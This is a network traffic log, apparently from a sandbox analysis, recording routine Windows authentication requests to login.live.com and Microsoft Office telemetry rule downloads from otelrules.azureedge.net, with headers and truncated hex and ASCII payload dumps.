2024-11-28 05:48:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:45 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:46 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: c55c872b-66ce-4883-be05-1b600f54e803 PPServer: PPV: 30 H: BL02EPF0001D98D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:45 GMT Connection: close Content-Length: 1918
2024-11-28 05:48:46 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:45 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a70bbc6a-401e-0029-780b-419b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054846Z-174f78459685726chC1EWRsnbg0000000y40000000003ggz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054846Z-174f7845968nxc96hC1EWRspw80000000xtg000000004m10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 691d9d27-b01e-0070-2a0b-411cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054846Z-174f7845968pght8hC1EWRyvxg0000000170000000002z8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:46 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054846Z-174f7845968jrjrxhC1EWRmmrs0000000y4g000000007xpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:47 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054848Z-174f7845968frfdmhC1EWRxxbw0000000y400000000038vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:48 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054848Z-174f7845968ljs8phC1EWRe6en0000000xtg00000000btxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49859	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:48 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:48 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 3e69d5d2-feb3-4b98-84fc-78eed2a6bf45 PPServer: PPV: 30 H: SN1PEPF0002F981 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:48 GMT Connection: close Content-Length: 1918
2024-11-28 05:48:48 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49860	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:48 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: e785597c-0fb8-4bdf-ba3d-8a0f344e9043 PPServer: PPV: 30 H: PH1PEPF00011F62 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:48 GMT Connection: close Content-Length: 11410
2024-11-28 05:48:49 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:48 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054848Z-174f7845968cdxdrhC1EWRg0en0000000xwg00000000e00t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
